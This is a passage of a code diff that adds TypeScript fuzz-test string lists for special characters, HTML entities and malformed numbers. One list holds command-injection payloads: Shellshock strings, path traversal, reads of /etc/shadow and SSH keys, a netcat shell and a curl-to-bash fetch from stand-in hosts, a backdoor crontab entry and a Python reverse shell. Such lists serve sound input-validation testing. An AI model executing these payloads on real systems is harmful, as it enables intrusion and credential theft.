'`touch /tmp/blns.fail`',
|
|
7
|
+
'$(touch /tmp/blns.fail)',
|
|
8
|
+
'@{[system \'touch /tmp/blns.fail\']}',
|
|
9
|
+
'eval(\'puts \'hello world\'\')',
|
|
10
|
+
'System(\'ls -al /\')',
|
|
11
|
+
'`ls -al /`',
|
|
12
|
+
'Kernel.exec(\'ls -al /\')',
|
|
13
|
+
'Kernel.exit(1)',
|
|
14
|
+
'%x(\'ls -al /\')',
|
|
15
|
+
'$HOME',
|
|
16
|
+
'$ENV{\'HOME\'}',
|
|
17
|
+
'%d',
|
|
18
|
+
'%s',
|
|
19
|
+
'{0}',
|
|
20
|
+
'%*.*s',
|
|
21
|
+
'../../../../../../../../../../../etc/passwd%00',
|
|
22
|
+
'../../../../../../../../../../../etc/hosts',
|
|
23
|
+
'() { 0; }; touch /tmp/blns.shellshock1.fail;',
|
|
24
|
+
'() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
|
|
25
|
+
'; cat /etc/passwd',
|
|
26
|
+
'| ls -la',
|
|
27
|
+
'&& whoami',
|
|
28
|
+
'; rm -rf /tmp/test',
|
|
29
|
+
'` cat /etc/shadow `',
|
|
30
|
+
'| id',
|
|
31
|
+
'; uname -a',
|
|
32
|
+
'&& cat /etc/group',
|
|
33
|
+
'$(whoami)',
|
|
34
|
+
'`id`',
|
|
35
|
+
'; nc -e /bin/sh attacker.com 4444',
|
|
36
|
+
'| curl http://malicious.com/shell.sh | bash',
|
|
37
|
+
'; wget http://evil.com/backdoor -O /tmp/backdoor',
|
|
38
|
+
'&& chmod +x /tmp/exploit',
|
|
39
|
+
'`cat /root/.ssh/id_rsa`',
|
|
40
|
+
'; find / -name \'*.conf\'',
|
|
41
|
+
'| grep -r \'password\' /etc/',
|
|
42
|
+
'&& env',
|
|
43
|
+
'$(cat /proc/version)',
|
|
44
|
+
'; ps aux',
|
|
45
|
+
'| netstat -tuln',
|
|
46
|
+
'&& iptables -L',
|
|
47
|
+
'`cat /var/log/auth.log`',
|
|
48
|
+
'; history',
|
|
49
|
+
'| tail -f /var/log/syslog',
|
|
50
|
+
'&& crontab -l',
|
|
51
|
+
'; echo \'* * * * * /tmp/backdoor\' | crontab -',
|
|
52
|
+
'`sudo su -`',
|
|
53
|
+
'; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
|
|
54
|
+
];
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
export const charsData: string[] = [
|
|
2
|
+
',./;3[]\\-=',
|
|
3
|
+
'!@#$%^&*()`~',
|
|
4
|
+
'Ω≈ç√∫˜µ≤≥÷',
|
|
5
|
+
'åß∂ƒ©˙∆˚¬…æ',
|
|
6
|
+
'œ∑´®†¥¨ˆøπ“‘',
|
|
7
|
+
'¡™£¢∞§¶•ªº–≠',
|
|
8
|
+
'¸˛Ç◊ı˜Â¯˘¿',
|
|
9
|
+
'ÅÍÎÏ˝ÓÔÒÚÆ☃',
|
|
10
|
+
'`⁄€‹›fifl‡°·‚—±',
|
|
11
|
+
'⅛⅜⅝⅞',
|
|
12
|
+
'ЁЂЃЄЅІЇЈЉЊЋЌЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя',
|
|
13
|
+
'٠١٢٣٤٥٦٧٨٩',
|
|
14
|
+
'⁰⁴⁵₀₁₂⁰⁴⁵₀₁₂',
|
|
15
|
+
'ヽ༼ຈل͜ຈ༽ノ',
|
|
16
|
+
'__ロ(,_,*)',
|
|
17
|
+
'・(≧∀≦)・:*:',
|
|
18
|
+
'、。・:*:・゚( ☻ ☻ )・:*:・゚',
|
|
19
|
+
'(╯°□°)╯︵ ┻━┻',
|
|
20
|
+
'(ง益ง)งデデン',
|
|
21
|
+
'( ͡° ͜ʖ ͡°)'
|
|
22
|
+
];
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
export const htmlentitiesData: string[] = [
|
|
2
|
+
'\' - '',
|
|
3
|
+
'< - <',
|
|
4
|
+
'> - >',
|
|
5
|
+
'® - ®',
|
|
6
|
+
'& - &',
|
|
7
|
+
'$ - $',
|
|
8
|
+
'´ - ´',
|
|
9
|
+
'© - ©',
|
|
10
|
+
'À - À',
|
|
11
|
+
'Á - Á',
|
|
12
|
+
'- Â',
|
|
13
|
+
'Ã - Ã',
|
|
14
|
+
'Ä - Ä',
|
|
15
|
+
'Å - Å',
|
|
16
|
+
'Æ - Æ',
|
|
17
|
+
'à - à',
|
|
18
|
+
'á - á'
|
|
19
|
+
];
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
export const numbersData: string[] = [
|
|
2
|
+
'$1.00',
|
|
3
|
+
'1/2',
|
|
4
|
+
'1E2',
|
|
5
|
+
'1E02',
|
|
6
|
+
'1E+02',
|
|
7
|
+
'-1',
|
|
8
|
+
'-1.00',
|
|
9
|
+
'-$1.00',
|
|
10
|
+
'-1/2',
|
|
11
|
+
'-1E2',
|
|
12
|
+
'-1E02',
|
|
13
|
+
'-1E+02',
|
|
14
|
+
'1/0',
|
|
15
|
+
'0/0',
|
|
16
|
+
'-2147483648/-1',
|
|
17
|
+
'-9223372036854775808/-1',
|
|
18
|
+
'0.00',
|
|
19
|
+
'0..0',
|
|
20
|
+
'0.0.0',
|
|
21
|
+
'0,00',
|
|
22
|
+
'0,,0',
|
|
23
|
+
'0,0,0',
|
|
24
|
+
'0.0/0',
|
|
25
|
+
'1.0/0.0',
|
|
26
|
+
'1,0/0,0',
|
|
27
|
+
'0,0/0,0',
|
|
28
|
+
'--1',
|
|
29
|
+
'-',
|
|
30
|
+
'-.',
|
|
31
|
+
'-,',
|
|
32
|
+
'999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999',
|
|
33
|
+
'NaN',
|
|
34
|
+
'Infinity',
|
|
35
|
+
'-Infinity',
|
|
36
|
+
'INF',
|
|
37
|
+
'1#INF',
|
|
38
|
+
'-1#IND',
|
|
39
|
+
'1#QNAN',
|
|
40
|
+
'1#SNAN',
|
|
41
|
+
'1#IND',
|
|
42
|
+
'0x0',
|
|
43
|
+
'0xffffffff',
|
|
44
|
+
'0xffffffffffffffff',
|
|
45
|
+
'0xabad1dea',
|
|
46
|
+
'123456789012345678901234567890123456789',
|
|
47
|
+
'1,000.00',
|
|
48
|
+
'1 000.00',
|
|
49
|
+
'1\'000.00',
|
|
50
|
+
'1,000,000.00',
|
|
51
|
+
'1 000 000.00',
|
|
52
|
+
'1\'000\'000.00',
|
|
53
|
+
'1.000,00',
|
|
54
|
+
'1 000,00',
|
|
55
|
+
'1\'000,00',
|
|
56
|
+
'1.000.000,00',
|
|
57
|
+
'1 000 000,00',
|
|
58
|
+
'1\'000\'000,00',
|
|
59
|
+
'01000',
|
|
60
|
+
'08',
|
|
61
|
+
'09',
|
|
62
|
+
'2.2250738585072011e-308'
|
|
63
|
+
];
|